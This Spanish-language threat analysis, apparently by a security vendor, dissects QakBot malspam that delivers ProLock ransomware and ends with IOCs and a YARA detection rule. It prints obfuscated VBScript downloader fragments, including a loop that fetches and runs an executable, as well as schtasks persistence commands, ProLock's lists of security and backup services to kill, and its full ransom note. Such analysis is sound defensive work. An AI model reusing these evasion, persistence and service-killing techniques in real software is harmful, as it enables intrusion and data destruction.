Resumen

El FBI y la agencia alemana CERT-Bund [1][2] advierten de que el malspam QakBot está distribuyendo el ransomware ProLock.

QakBot se distribuye por correo electrónico. En la campaña descrita se envían correos con un enlace a un archivo ZIP. Este archivo ZIP contiene a su vez un archivo VBScript que descarga el paquete de QakBot en los ordenadores de las víctimas. A partir de ahí, los operadores de QakBot pueden descargar el ransomware ProLock.

El ransomware ProLock emplea RC6 para cifrar archivos en el ordenador de sus víctimas, dejando sin cifrar los primeros 8 KiB de todos los archivos. Luego añade una extensión .proLock a los archivos cifrados y deja una nota de secuestro diciendo que no es «[n]ada personal, solo negocio» y dando instrucciones sobre cómo pagar el rescate. Sin embargo, el ransomware también elimina determinados archivos con las extensiones .bac o .bak, por lo que las víctimas pierden esos archivos incluso si pagan.

Detalles

QakBot (también conocido como QBot, QuakBot o Pinkslipbot) lleva en activo desde 2008. El ransomware ProLock es relativamente nuevo. Hemos compuesto una cronología de acontecimientos recientes relativos a estos dos programas de malware:

Acontecimientos recientes sobre QakBot

ProLock es un ransomware que fue observado por primera vez a finales de 2019. Por aquel entonces se llamaba PwndLocker. Sin embargo, PwndLocker contenía un fallo que permitía a las víctimas descifrar sus archivos sin pagar el rescate. Por tanto, en 2020, resolvió el fallo y cambió su nombre por ProLock.

Aunque ProLock suele obtener acceso a sus víctimas a través de RDP, recientemente se ha distribuido mediante QakBot, de un modo similar a como Emotet distribuye ransomware.

Análisis técnico

Este análisis comienza con una descripción de algunos pasos de la cadena de infección mediante QakBot observada. Los pasos más relevantes e interesantes se describen en el diagrama de flujo de abajo.

Cadena de infección de QakBot

La infección inicial emplea un correo con un enlace a un archivo ZIP. El archivo ZIP contiene un archivo VBScript que descarga el paquete de QakBot. Al igual que Emotet, Qakbot es capaz de descargar otro malware. El último que está distribuyendo, y que ha sido objeto de numerosas advertencias por parte de organismos gubernamentales, es el ransomware ProLock.

La segunda parte de este artículo contiene una vista general del funcionamiento interno del nuevo ransomware ProLock.

Correo

La campaña observada se dirigía al público alemán y estaba basada en el secuestro de conversaciones, con los correos de QakBot respondiendo a conversaciones de correo obtenidas de anteriores víctimas. Los interlocutores de dichas víctimas previas recibían entonces un correo con un enlace como el siguiente:

Variante de correo inicial

La sección inferior del correo (que no aparece en la imagen) contiene el hilo de conversación secuestrado.

Tras esta campaña se han observado muchas campañas diferentes, también en otros idiomas distintos al alemán.

Remitente

Como nombre visible, en el campo «From» del encabezado RFC 5322, los correos muestran el nombre visible del interlocutor con el que se mantiene el hilo de conversación secuestrado. La dirección mostrada en el campo «From» es la dirección real del remitente. De este modo, los correos son capaces de pasar las comprobaciones SPF y DKIM.

Para ilustrarlo, imaginémosnos que una tal Alice ha participado en una conversación con un tal Bob Doe. El hilo de conversación es secuestrado cuando Alice se contagia de QakBot. El campo «From» del encabezado RFC 5322 de los correos robados es Bob Doe <bob@example.com>. Ahora, el ordenador de Alice envía el malspam QakBot. En tal caso, los correos se enviarán con el siguiente campo «From»: Bob Doe <alice@example.org>.

En caso de que no haya nombre visible, será la dirección de correo la que se use directamente como nombre visible en el campo «From» del encabezado RFC 5322. Este comportamiento se observa en algunos correos. He aquí un ejemplo:

Variante de correo inicial

Horquilla de tiempo

A juzgar por las fechas de las conversaciones de correo secuestradas, es posible concluir que los correos robados son en su mayoría recientes, es decir, que los hilos solo llevaban algunos días abiertos cuando se emplearon en los ataques. Sin embargo, a diferencia de Emotet, los artífices de esta operación de malspam parecen no limitar su secuestro a correos recientes. También hemos observado correos adhiriéndose a conversaciones de 2015.

El señuelo

Los correos intentan inducir a las víctimas a descargar desde un enlace etiquetado ANHANG ZUM DOWNLOAD («Enlace de descarga») conminándolo a revisar o comentar el documento al que apunta el enlace de descarga con diferentes frases. En campañas anteriores en lengua inglesa, el texto del enlace era ATTACHMENT DOWNLOAD. He aquí algunos ejemplos:

Variante de correo inicial

Variante de correo inicial

Variante de correo inicial

Aunque el conjunto de frases parece ser limitado (ya que hemos observado repeticiones), la formulación es completamente genérica y puede sustituirse por cualquier otra en cualquier momento. Esto permite inyectar estos correos en prácticamente cualquier hilo de conversación.

El enlace conduce a un archivo ZIP que contiene un archivo VBScript.

El archivo VBScript

Aunque el archivo VBScript parece tener un tamaño de cerca de 37 MiB (38045309 Bytes), está inflado a base de ceros:

$ hexdump -C Darlehensvertrag_8378051_19052020.vbs | less
00000000  0a 4f 6e 20 45 72 72 6f  72 20 52 65 73 75 6d 65  |.On Error Resume|
00000010  20 4e 65 78 74 0a 64 69  6d 20 6a 4d 52 50 42 2c  | Next.dim jMRPB,|
00000020  20 68 6d 58 74 76 6c 2c  20 68 68 71 49 43 54 2c  | hmXtvl, hhqICT,|
[...]
00033f50  45 47 46 58 53 51 20 3d  20 46 69 78 28 44 4d 4c  |EGFXSQ = Fix(DML|
00033f60  63 63 29 0a 56 7a 4f 64  69 20 3d 20 78 61 74 43  |cc).VzOdi = xatC|
00033f70  58 48 4e 20 6f 72 20 4e  72 4c 62 55 6d 0a 0a 00  |XHN or NrLbUm...|
00033f80  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
02448670  00 00 00 00 00 00 00 00  00 00 00 00 0a           |.............|
0244867d
(FIN)

El código VBScript en sí tan solo ocupa unos 200 KiB o el 0,5% del archivo. Es probable que esto se haga para evitar la detección, pues algunos sistemas renuncian a analizar archivos que sobrepasen determinado límite de tamaño.

El script emplea técnicas de evasión, anti-debugging y ofuscación.

Solo expondremos las partes más interesantes del script.

Evasión

El script espera 30000 ms:

[...]
ozcHEG = 318 - 15 + 490 + 5 - 22 - 9 - 7 + 10 + 29230
[...]
WScript.Sleep ozcHEG
[...]

Esto probablemente una técnica dinámica de evitación de análisis. Algunos sistemas de análisis emplean temporizadores para reducir el tiempo de análisis y deciden si una muestra es maliciosa o no en base a las acciones que ésta realice antes de que finalice el temporizador.

Supresión de errores

El script emplea On Error Resume Next en cada función. Esto ordena al programa continuar con su siguiente orden incluso si ocurre un error.

Ofuscación

Sustitución de cadenas

El script utiliza una técnica habitual de sustitución de cadenas para ofuscar las cadenas realmente utilizadas en el script. El código

set o=CreateObject(replace("Rx1wRx1scRx1rRx1ipRx1tRx1.sRx1heRx1lRx1l", "Rx1", ""))

se convierte en

set o=CreateObject("wscript.shell")

Esta técnica se emplea en múltiples puntos del script.

Concatenación de caracteres

El enlace emplea concatenación de caracteres para formar cadenas mediante invocaciones individuales de la función chr(). El código

qtcqQ=chr(87)&chr(105)&chr(110)&chr(77)&chr(103)&chr(109)&chr(116)&chr(115)&chr(58)&chr(123)&chr(105)&chr(109)&chr(112)&chr(101)&chr(114)&chr(115)&chr(111)&chr(110)&chr(97)&chr(116)&chr(105)&chr(111)&chr(110)&chr(76)&chr(101)&chr(118)&chr(101)&chr(108)&chr(61)&chr(105)&chr(109)&chr(112)&chr(101)&chr(114)&chr(115)&chr(111)&chr(110)&chr(97)&chr(116)&chr(101)&chr(125)&chr(33)&chr(92)&chr(92)&chr(46)&chr(92)&chr(114)&chr(111)&chr(111)&chr(116)&chr(92)

se convierte en

qtcqQ="WinMgmts:{impersonationLevel=impersonate}!\\\\.\\root\\"

Esta técnica se emplea en múltiples puntos del script.

Cifrado XOR

El script emplea una cadena de caracteres muy larga (definida al principio). Nosotros la hemos renombrado a LARGE_STRING. Esta gran cadena de caracteres se transforma 3 veces mediante una función que utiliza el algoritmo de cifrado XOR para descifrar las URLs de descarga y los nombres de los archivos ejecutables. Las claves XOR se obtienen de una cadena más pequeña a la que hemos llamado xor_key_selection_string, obtenida mediante corte:

xor_key_selection_string = "J32EmExEv2QE3ZfZsFlO84vJKXRFXWutfc2vigLlDKJZNT9T0wlTWtOiqp8dSt7XJzu9VhQvxzXARwg1kjAEvzaRQJcqbW2J0HmDtXeVxk18ZFhG9zZwWTN4aGkDh0nbIIFGhOPU50PzCAGbom360Sry6vA9DHp56oAtEZZRhaSL0noyFy4C9B3rXTSbPbx0hcOnsNYVUTQ7TIKSLavputomDcV50UwbgBoXbX1a8iY11TCylu13ugCo7C8FXmbSGYPi4rr1dq6KaV7kpp2g6urPeKD3HuLb2nYobSWe9KvmKxGdfUxNz8HAdGjI2kjh6ojyqdayw9RT5yYxLEQsRiHnuz0RiyDeVLFVutox5abkwDf9v66PWlRw4HrThNtW36OZOgw7zmvmOr5ysh5uUf3lRRIcP"
[...]
xor_key_1 = Asc(Mid(xor_key_selection_string, rZGOkh, 418 + 454 + 6 - 19 - 4 + 12 - 21 + 129 - 974))
[...]
TRANS_LARGE_STRING  = string_transform(LARGE_STRING, xor_key_1)
jRABF   = sgzJJn * NrLbUm

DMLcc   = 468 + 14 - 9 + 21 - 196 - 100 + 178 - 231 + 578                        

TRANS_LARGE_STRING  = string_transform(TRANS_LARGE_STRING, xor_key_2)

MGQNb = SWoDQ - xatCXHN                                                          

TRANS_LARGE_STRING = string_transform(TRANS_LARGE_STRING, xor_key_3)

(Los nombres de las variables xor_key_selection_string, xor_key_{1,2,3}, string_transform, TRANS_LARGE_STRING y LARGE_STRING han sido introducidos por el analista para entender mejor la lógica del programa. En el código original, los nombres eran secuencias de caracteres aleatorias.)

Conexión de red

El script envía solicitudes GET a 5 URLs diferentes:

Captura de red de Wireshark

El código VBScript code responsable de las solicitudes GET se encuentra dentro del siguiente bucle for:

        For i = 1 To 6
                ms.Open Replace("S12GES12TS12", "S12", ""), RryLCg(index) & iGonf, False

(Observación: Hemos utilizado una herramienta para normalizar la sangría del código.)

El agente de usuario está incluido en el script mediante hard coding. Se trata de una secuencia de letras con mayúscula inicial escrita dos veces seguidas, como aquí:

ms.setRequestHeader OIEDjshTTW, "AlbertaAlberta"

Si bien las secuencias en sí son aleatorias y varían de una muestra a otra, se trata siempre de una secuencia escrita dos veces (p. ej., LamodaLamoda).

El parámetro uid de la cadena de consulta es una cadena de caracteres codificada en Base64 que indica las versiones del antivirus del sistema y de Windows.

Parámetro uid descodificado

Esta información se obtiene mediante dos consultas WMI:

GetObject("WinMgmts:{impersonationLevel=impersonate}!\\\\.\\root\\SecurityCenter2").ExecQuery("select * from AntiVirusProduct")

y

GetObject("WinMgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")

(Obviamente, el código de estas dos consultas estaba ofuscado y ocupaba varias líneas.)

Descarga y ejecución del paquete de QakBot

La misma consulta GET que envía el parámetro uid recibe un archivo PE como respuesta:

El script lo guarda como %userprofile%\AppData\Local\Temp\PicturesViewer.exe y ejecuta el ejecutable:

El código correspondiente en el archivo VBScript se encuentra dentro del bucle for de la consulta GET mencionada. En primer lugar, comprueba el readyState. Si la solicitud está en estado DONE (readyState = 4), comprueba si el tamaño de cuerpo de la respuesta es diferente de 0 y, por último, si el contenido de la respuesta comienza por MZ:

[...]
If ms.readyState = 4 Then
        If Len(ms.responseBody) <> 0 Then
                If Left(ms.responseText, 2) = "MZ" Then
[...]
                        .Write ms.responseBody
[...]
                        execute RryLCg(6)
[...]

Ahora, el paquete de QakBot descargado está en ejecución, y con esto finaliza el script de descarga.

QakBot

QakBot está empaquetado y se desempaqueta en memoria durante su ejecución. En primer lugar, se ejecuta a sí mismo con la bandera opcional /C. Esto ordena al binario de QakBot a realizar pruebas para comprobar si se está ejecutando dentro de una sandbox. A continuación, se ejecuta mediante una tarea programada empleando schtasks.exe /Create /RU \"NT AUTHORITY\\SYSTEM\". Esto permite al bot aumentar sus privilegios. A continuación, se inyecta en explorer.exe mediante vaciado de procesos (mediante CREATE_SUSPENDED). Seguidamente obtiene persistencia mediante claves de registro (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run), así como mediante una tarea programada (schtasks.exe /create /tr mjezacl.exe /sc HOURLY /mo 5).

Después de esto, QakBot consulta www.ip-address.com para obtener la IP externa del sistema infectado. Finalmente, en la parte determinista de su cadena de ejecución, establece comunicación con los servidores de control (proxy).

Esto permite a Qakbot, al igual que Emotet, cargar otros módulos, así como malware adicional. En este caso, QakBot descarga y ejecuta ProLock.

Antes de pasar a analizar ProLock, echemos un vistazo al origen de las IPs de los servidores de control de QakBot.

Control y comando

Las IPs de los servidores de control proceden principalmente de los Estados Unidos y, en mucha menor medida, de Rumanía. Sin embargo, la distribución de las procedencias puede variar ligeramente de campaña a campaña.

La campaña de distribución con la etiqueta spx128, por ejemplo, tenía un tercer cluster de IPs en México.

Distribución de servidores de control por países

Por otra parte, la campaña de distribución con la etiqueta spx116 y un señuelo en alemán presenta un mayor número de IPs procedentes de Europa:

Distribución de servidores de control por países

Sin embargo, en general, los países de habla inglesa parecen ser el principal lugar de procedencia de las IPs. La distribución indica que QakBot estaba centrado principalmente en países de habla inglesa. Sin embargo, como nos muestra la campaña contra Alemania, es posible que ahora esté cambiando de estrategia para convertir a QakBot en una operación más global a semejanza de Emotet.

En caso de que el origen de las IPs de servidores de control se adaptase al país atacado, sería de esperar un mayor número de IPs alemanas. Por tanto, no se sabe a ciencia cierta si el cambio observado en campañas enfocadas en Alemania es una simple coincidencia y los responsables de QakBot simplemente carecen de un número significativo de IPs de control europeas.

La lista de IPs de servidores de control cambia con mucha frecuencia.

ProLock

Como ya hemos indicado, varios organismos gubernamentales están advirtiendo que QakBot está distribuyendo la nueva variante de PwndLocker llamada ProLock. Por tanto, repasaremos ahora brevemente los principales hallazgos relativos al nuevo ransomware ProLock.

Por fuentes de acceso público, se sabe que la variante actual de ProLock se envía oculta dentro de un archivo de imagen llamado WinMgr.bmp. La imagen es completamente negra, salvo por algunos píxeles blancos. Es en estos píxeles donde se oculta el código binario de ProLock.

ProLock en WinMgr.bmp

Desde allí, ProLock se carga en memoria y se ejecuta mediante PowerShell.

Cargador de PowerShell

El código del cargador de PowerShell es el siguiente:

Cargador de ProLock para PowerShell

(Fuente de la imagen: [3])

Dependiendo del tamaño del puntero ([IntPtr]::size, es decir, de la longitud de palabra en el sistema operativo), PowerShell escribe los datos en memoria en las direcciones 0xA230 (32 bits) o 0xD7A0 (64 bits) y los ejecuta.

A continuación describiremos la variante de 32 bits.

Desempaquetado

En primer lugar, un código auxiliar desempaqueta la carga útil:

Código auxiliar de ProLock para desempaquetar la carga útil.

El desempaquetamiento emplea un sencillo algoritmo de cifrado XOR con el offset 0xa27f (en WinMgr.bmp) y la clave 0x09b1a2dc.

El shellcode de la carga útil desempaquetada recorre el PEB a partir de FS:[0x30] para obtener una lista de los módulos cargados. Calcula el hash de los nombres de las DLLs y los compara contra un hash de KERNEL32.DLL. De este modo obtiene la dirección de kernel32.dll. A continuación, obtiene las direcciones de LoadLibraryA, GetProcAddress y VirtualAlloc recorriendo el directorio de exportación de kernel32.dll, calculando el hash de los nombres de las funciones que contiene y comparándolas con una lista de hashes de las funciones correspondientes:

ProLock determina las direcciones de bibliotecas dinámicas y funciones.

A lo largo del código se emplean secuencias de call label; db 'string'; label: ... para cargar en memoria direcciones de cadenas de caracteres.

ProLock cargando cadenas de caracteres en 32 bits.

Observación: En la versión de 64 bits se emplea el direccionamiento relativo al contador de programa (no disponible en la versión de 32 bits).

Con las cadenas de caracteres cargadas se determinan las direcciones de otras bibliotecas y funciones y se almacenan en memoria.

Preparación

A continuación, ProLock procede a eliminar los siguientes archivos mediante DeleteFileA:

  • C:\\Programdata\\WinMgr.xml
  • C:\\Programdata\\WinMgr.bmp
  • C:\\Programdata\\clean.bat
  • C:\\Programdata\\run.bat

ProLock eliminando archivos

Desconecta todas las conexiones a recursos compartidos, salvo a los ocultos.

ProLock eliminando conexiones a recursos compartidos salvo los ocultos.

Enumera los procesos en ejecución con ayuda de las funciones CreateToolhelp32Snapshot y Process32{First,Next}:

ProLock enumerando procesos.

Los seis primeros caracteres de cada nombre de proceso se buscan en una lista.

Lista de detención de procesos de ProLock.

Si encuentra un proceso en la lista,

ProLock deteniendo procesos de su lista

se invoca taskkill.exe /F /IM mediante ShellExecuteA:

ProLock deteniendo procesos de su lista

Los procesos buscados y detenidos empiezan por las siguientes secuencias: agntsv, cntaos, dbeng5, dbsnmp, encsvc, excel., firefo, infopa, isqlpl, mbamtr, msacce, msftes, mspub., mydesk, mysqld, ntrtsc, ocauto, ocomm., ocssd., onenot, oracle, outloo, pccntm, powerp, sqbcor, sqlage, sqlbro, sqlser, sqlwri, steam., syncti, tbirdc, thebat, thunde, tmlist, visio., winwor, wordpa, xfssv, czoolz.

A continuación se emplea net.exe stop "<service>" /y para detener una larga lista de servicios:

Lista de detención de servicios de ProLock.

Los servicios de la lista de detención de servicios de ProLock corresponden a productos de seguridad, así como a sistemas de bases de datos y copia de seguridad que podrían tener bloqueados archivos por tenerlos abiertos, impidiendo al ransomware cifrarlos.

Los servicios buscados son CSFalconService, McAfeeFramework, Alerter, AcronisAgent, Acronis VSS Provider, BackupExecAgentAccelerator, BackupExecDeviceMediaService, BackupExecJobEngine, BackupExecManagementService, BackupExecRPCService, BackupExecVSSProvider, DFSR, EPIntegrationService, EPProtectedService, EPSecurityService, EPUpdateService, MB3Service, MBAMService, MBEndpointAgent, MSExchangeES, MSExchangeMGMT, MSExchangeMTA, MSExchangeSA, MSExchangeSRS, MSExchangeADTopology, MSExchangeDelivery, MSExchangeDiagnostics, MSExchangeEdgeSync, MSExchangeHM, MSExchangeHMRecovery, MSExchangeIS, MSExchangeMailboxReplication, MSExchangeRPC, MSExchangeRepl, MSExchangeServiceHost, MSExchangeTransport, MSExchangeUM, MSExchangeUMCR, MSOLAP$*, MSSQLSERVER, MsDtsServer, MySQL57, OSearch15, OracleClientCache80, QuickBooksDB25, SPAdminV4, SPSearchHostController, SPTraceV4, SPUserCodeV4, SPWriterV4, SQLBrowser, SQLSafeOLRService, SQLsafe Backup Service, SQLSERVERAGENT, SQLTELEMETRY, SQLBackups, SQLAgent$*, MSSQL$*, MSMQ, ReportServer, ReportServer$*, SQLWriter, SQLBackupAgent, Symantec System Recovery, SyncoveryVSSService, VeeamBackupSvc, VeeamCatalogSvc, VeeamCloudSvc, VeeamEndpointBackupSvc, VeeamEnterpriseManagerSvc, VeeamMountSvc, VeeamNFSSvc, VeeamRESTSvc, VeeamTransportSvc, Veeam Backup Catalog Data Service, epag, epredline, mozyprobackup, masvc, macmnsvc, mfemms, McAfeeDLPAgentService, psqlWGE, swprv, wsbexchange, WinVNC4, TMBMServer, tmccsf, tmlisten, VSNAPVSS, stc_endpt_svc, wbengine, bbagent, NasPmService, BASupportExpressStandaloneService_N_Central, BASupportExpressSrvcUpdater_N_Central, hasplms, EqlVss, EqlReqService, RapidRecoveryAgent, YTBackup, vhdsvc, TeamViewer, MSOLAP$SQL_2008, MSOLAP$SYSTEM_BGC, MSOLAP$TPS, MSOLAP$TPSAMA, MSSQL$BKUPEXEC, MSSQL$ECWDB2, MSSQL$PRACTICEMGT, MSSQL$PRACTTICEBGC, MSSQL$PROD, MSSQL$PROFXENGAGEMENT, MSSQL$SBSMONITORING, MSSQL$SHAREPOINT, MSSQL$SOPHOS, MSSQL$SQL_2008, MSSQL$SQLEXPRESS, MSSQL$SYSTEM_BGC, MSSQL$TPS, MSSQL$TPSAMA, MSSQL$VEEAMSQL2008R2, MSSQL$VEEAMSQL2012, MSSQLFDLauncher, MSSQLFDLauncher$PROFXENGAGEMENT, MSSQLFDLauncher$SBSMONITORING, MSSQLFDLauncher$SHAREPOINT, MSSQLFDLauncher$SQL_2008, MSSQLFDLauncher$SYSTEM_BGC, MSSQLFDLauncher$TPS, MSSQLFDLauncher$TPSAMA, MSSQLSERVER, MSSQLServerADHelper, MSSQLServerADHelper100, MSSQLServerOLAPService, SQLAgent$BKUPEXEC, SQLAgent$CITRIX_METAFRAME, SQLAgent$CXDB, SQLAgent$ECWDB2, SQLAgent$PRACTTICEBGC, SQLAgent$PRACTTICEMGT, SQLAgent$PROD, SQLAgent$PROFXENGAGEMENT, SQLAgent$SBSMONITORING, SQLAgent$SHAREPOINT, SQLAgent$SOPHOS, SQLAgent$SQL_2008, SQLAgent$SQLEXPRESS, SQLAgent$SYSTEM_BGC, SQLAgent$TPS, SQLAgent$TPSAMA, SQLAgent$VEEAMSQL2008R2, SQLAgent$VEEAMSQL2012, ReportServer$SQL_2008, ReportServer$SYSTEM_BGC, ReportServer$TPS, y ReportServer$TPSAMA.

Por último, ProLock emplea los siguientes comandos para eliminar instantáneas de volúmenes:

Comandos vssadmin.exe de ProLock.

Comandos vssadmin.exe de ProLock.

Los comandos se pasan a vssadmin.exe, invocado a su vez mediante ShellExecuteA:

ProLock invoca vssadmin.exe.

ProLock invoca vssadmin.exe.

ProLock enumera todas las letras de unidad para la eliminación de instantáneas de volúmenes, salvo las correspondientes a unidades de CD-ROM (DRIVE_CDROM):

ProLock excluyendo las unidades de CD-ROM de la eliminación de instantáneas de volúmenes.

El secuestro

ProLock parece no cifrar los primeros 8 KiB de los archivos. Por tanto, los archivos con un tamaño inferior a 8 KiB no se cifran en absoluto ni reciben la extensión .proLock.

Los archivos y directorios se procesan en base a varias listas de archivos:

Listas de archivos y directorios de ProLock.

ProLock evita archivos con las extensiones .exe, .dll, .lnk, .ico, .msi, .chm, .sys, .hlf, .lng, .ttf y .cmd.

Los archivos con extensión .bac o .bak se eliminan.

ProLock tampoco recorre directorios con los nombres $Recycle.Bin, Windows, Boot, System Volume Information, PerfLogs, Common Files, DVD Maker, Internet Explorer, Kaspersky Lab, Kaspersky Lab Setup Files, WindowsPowerShell, Microsoft, Microsoft.NET, Mozilla Firefox, MSBuild, Windows Defender, Windows Mail, Windows Media Player, Windows NT, Windows Photo Viewer, Windows Portable Devices, Windows Sidebar, WindowsApps o Uninstall Information. Tampoco se visitan los siguientes directorios del directorio de perfil: Adobe, Microsoft, Microsoft_Corporation, Packages y Temp.

ProLock utiliza múltiples subprocesos. Hay una función dentro de un subproceso que atraviesa las estructuras de directorios. Otras funciones dentro de otros subprocesos se ocupan de cifrar y renombrar los archivos:

ProLock ejecutando varios subprocesos para cifrar archivos.

Para el cifrado, ProLock emplea la instrucción RDTSC del procesador para obtener números aleatorios con los que genera, a continuación, la clave de cifrado:

Función de ProLock para obtener números aleatorios.

Los archivos en sí parecen estar cifrados con RC6. La función de planificación de claves de RC6 puede identificarse por las constantes de RC6 0xb7e15163 y 0x9e3779b9, así como por el típico bucle for con cuenta hasta 44 para inicializar la estructura de la clave hallado en el código del malware:

Función RC6_set_key de ProLock.

Tras el cifrado se añade una extensión .proLock al final del nombre de cada archivo cifrado:

ProLock añadiendo la extensión .proLock.

Durante el recorrido de directorios y antes del cifrado, ProLock deposita un archivo llamado [HOW TO RECOVER FILES].TXT («Cómo recuperar los archivos») con su nota de secuestro en cada directorio. A continuación se ofrece una traducción (puede ver la nota original inglesa en la versión inglesa de esta página):

Your files have been encrypted by ProLock Ransomware using RSA-2048 algorithm.

   [.:Nothing personal just business:.]

No one can help you to restore files without our special decryption tool.

To get your files back you have to pay the decryption fee in BTC.
The final price depends on how fast you write to us.

   1. Download TOR browser: https://www.torproject.org/
   2. Install the TOR Browser.
   3. Open the TOR Browser.
   4. Open our website in the TOR browser: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.onion
   5. Login using your ID XXXXXXXXXXXXXXXXXXXX

   ***If you have any problems connecting or using TOR network:
   contact our support by email chec1kyourf1les@protonmail.com.

   [You'll receive instructions and price inside]

The decryption keys will be stored for 1 month.

We also have gathered your sensitive data.
We would share it in case you refuse to pay.

Decryption using third party software is impossible.
Attempts to self-decrypting files will result in the loss of your data.

Lógicamente, el que no se trate de «[n]ada personal, solo negocios» no supone ningún consuelo para las víctimas.

No hemos observado ninguna conexión a red en la muestra de ProLock analizada. Sin embargo, no hemos analizado la cadena completa hasta la ejecución de la muestra de ProLock. Es posible que los delincuentes empleen malware de sustracción de datos antes de emplear el ransomware ProLock. Por tanto, la amenaza de «compartir» «datos sensibles» podría ser real.

Conclusión y soluciones

No debe pagarse ningún rescate. En el pasado, ProLock, bajo el nombre de PwndLocker, tuvo problemas con su sistema de descifrado, impidiendo a las víctimas descifrar sus archivos. El FBI ha expresado reservas similares respecto a la última versión. Además, como este análisis ha demostrado, los archivos con extensión .bac o .bak no se cifran, sino que se eliminan, con lo que la pérdida de datos sería significativa incluso si la víctima paga.

Es preciso tener copias de seguridad en lugares inaccesibles para el ransomware.

Spam and Malware Protection de Hornetsecurity bloquea los patrones y URLs conocidos de los correos de QakBot.

Advanced Threat Protection de Hornetsecurity, con la función URL Rewriting, sustituye las URLs de los correos por URLs seguras. Al hacer clic, el usuario es guiado a la página web a través del proxy ATP de Hornetsecurity, que analiza contenidos descargables y bloquea el acceso a malware. Esto protege frente al enlace malicioso del correo inicial, impidiendo la descarga del archivo VBScript de QakBot desde el primer momento.

Bibliografía

Indicadores de Compromiso (IOCs)

Hashes

SHA256 Nombre de archivo Descripción
20cd1626d319f10323f5abda86fc11d0ed3783bd65f9c3a6501841e783edf61d Darlehensvertrag_8378051_19052020.vbs Archivo VBScript de descarga de QakBot
0cd872e07f9e1929b9b3baf7f86af70ccb28763bd4f1a16ebad659ea262106a5 888888.png Muestra de paquete de QakBot
a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0 Winmgr.bmp BMP con shellcode de ProLock como carga útil

Firmas

YARA

rule prolock_decoder_stub
{
    meta:
        description = "Detects ProLock decoder stubs"
        author = "Hornetsecurity Security Lab"
        date = "2020-06-03"
        hash1 = "a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0"
    strings:
        $decoder_stub_32 = {
            55 89 e5 8b 4? ?? eb ?? 89 4? ?? 8d 15 ?? ?? ?? ?? 8d 05
            ?? ?? ?? ?? 83 e8 ?? 29 c2 8b 4? ?? 01 c2 31 db b8 ?? ??
            ?? ?? 31 04 1a 81 3c 1a ?? ?? ?? ?? 74 ?? 83 fb ?? 75 ??
            31 04 1a 40 eb ?? eb ?? 83 c3 ?? 81 3c 1a ?? ?? ?? ?? 74
            ?? eb ??  }
        $decoder_stub_64 = {
            55 48 89 e5 48 89 4? ?? 48 8b 4? ?? eb ?? 49 89 c3 48 8d
            15 ?? ?? ?? ?? 48 8d 05 ?? ?? ?? ?? 48 83 e8 ?? 48 29 c2
            4c 89 d8 48 01 c2 48 31 db 48 c7 c0 ?? ?? ?? ?? 31 04 1a
            81 3c 1a ?? ?? ?? ?? 74 ?? 48 83 fb ?? 75 ?? 31 04 1a 48
            ff c0 eb ?? eb ?? 48 83 c3 ?? 81 3c 1a ?? ?? ?? ?? 74 ??
            eb ??  }
    condition:
        any of ($decoder_stub_*)
}